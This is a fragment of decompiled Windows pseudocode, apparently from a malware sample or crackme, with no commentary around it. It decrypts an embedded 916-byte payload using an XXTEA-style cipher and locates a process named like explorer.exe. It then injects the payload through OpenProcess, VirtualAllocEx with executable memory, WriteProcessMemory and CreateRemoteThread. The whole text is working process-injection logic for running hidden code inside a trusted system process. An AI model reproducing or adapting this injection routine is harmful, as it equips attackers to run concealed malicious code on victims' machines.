si128 = _mm_load_si128(xmmword_140003A20);
OpenProcess = kernel32_GetProcAddress(KERNEL32Moudle,
"OpenProcess"
);
VirtualAllocEx = kernel32_GetProcAddress(KERNEL32Moudle,
"VirtualAllocEx"
);
WriteProcessMemory = kernel32_GetProcAddress(KERNEL32Moudle,
"WriteProcessMemory"
);
CreateRemoteThread = kernel32_GetProcAddress(KERNEL32Moudle,
"CreateRemoteThread"
);
v3 = &v41;
v4 = &unk_140003450;
v5 = 7i64;
do
{
v3 += 32;
v6 = *v4;
v7 = v4[1];
v4 += 8;
*(v3 - 8) = v6;
v8 = *(v4 - 6);
*(v3 - 7) = v7;
v9 = *(v4 - 5);
*(v3 - 6) = v8;
--v5;
}
while
(v5);
v14 = *(v4 + 4);
v15 = 6;
v16 = -1162190778i64;
v17 = 1i64;
*v3 = *v4;
v3[4] = v14;
do
{
v18 = 227i64;
v19 = &v45;
v20 = 227;
v21 = &v44;
do
{
v22 = *v21;
v21 -= 4;
v19 -= 4;
v23 = *(&v41 + (v20 + 1) % 0xBu);
v24 = v17 ^ v18-- & 3;
*(v19 + 1) -= ((v23 ^ v16) + (si128.m128i_i32[v24] ^ v22)) ^ (((v22 >> 6) ^ (4 * v23)) + ((16 * v22) ^ (v23 >> 3)));
--v20;
}
while
(v20);
v25 = v42 ^ v16;
v16 -= 1953785185i64;
v41 -= (v25 + (si128.m128i_i32[v17] ^ v43)) ^ (((v43 >> 6) ^ (4 * v42)) + ((16 * v43) ^ (v42 >> 3)));
v17 = (v16 >> 2) & 3;
--v15;
}
while
(v15);
v26 = &v41;
for
(i = 0; i < 0x393; ++i)
printf
(
"%c "
, *v26++);
Toolhelp32Snapshot = kernel32_CreateToolhelp32Snapshot(2i64, 0i64);
if
(Toolhelp32Snapshot == -1) {
v29 = (kernel32_GetLastError)();
printf
(
"CreateToolhelp32Snapshot:%d\n"
, v29);
}
v46[0] = 568;
if
((kernel32_Process32FirstW)(Toolhelp32Snapshot, v46)) {
while
(
true
) {
v39 = -1i64;
do
{
if
(*(&v46[11] + v39 + 1) != aExp10rerExe[v39 + 1])
break
;
v39 += 2i64;
if
(v39 == 13) {
v31 = v46[2];
goto
LABEL_14;
}
}
while
(*(&v46[11] + v39) == aExp10rerExe[v39]);
if
((kernel32_Process32NextW)(Toolhelp32Snapshot, v46))
continue
;
break
;
}
}
else
{
v30 = (kernel32_GetLastError)();
printf
(
"Process32First:%d\n"
, v30);
}
v31 = CreateRemoteThread;
LABEL_14:
printf
(
"inject process pid: %d\n"
, v31);
v32 = OpenProcess(0x1FFFFFi64, 0i64, v31);
v33 = (kernel32_GetLastError)();
printf
(
"OpenProcess:%d\n"
, v33);
v34 = VirtualAllocEx(v32, 0i64, 916i64, 12288i64, 64);
v35 = (kernel32_GetLastError)();
printf
(
"VirtualAllocEx:%d\n"
, v35);
WriteProcessMemory(v32, v34, &v41, 916i64, 0i64);
v36 = (kernel32_GetLastError)();
printf
(
"WriteProcessMemory:%d\n"
, v36);
CreateRemoteThread(v32, 0i64, 0i64, v34, 0i64, 0, 0i64);
v37 = (kernel32_GetLastError)();
return
printf
(
"CreateRemoteThread:%d\n"
, v37);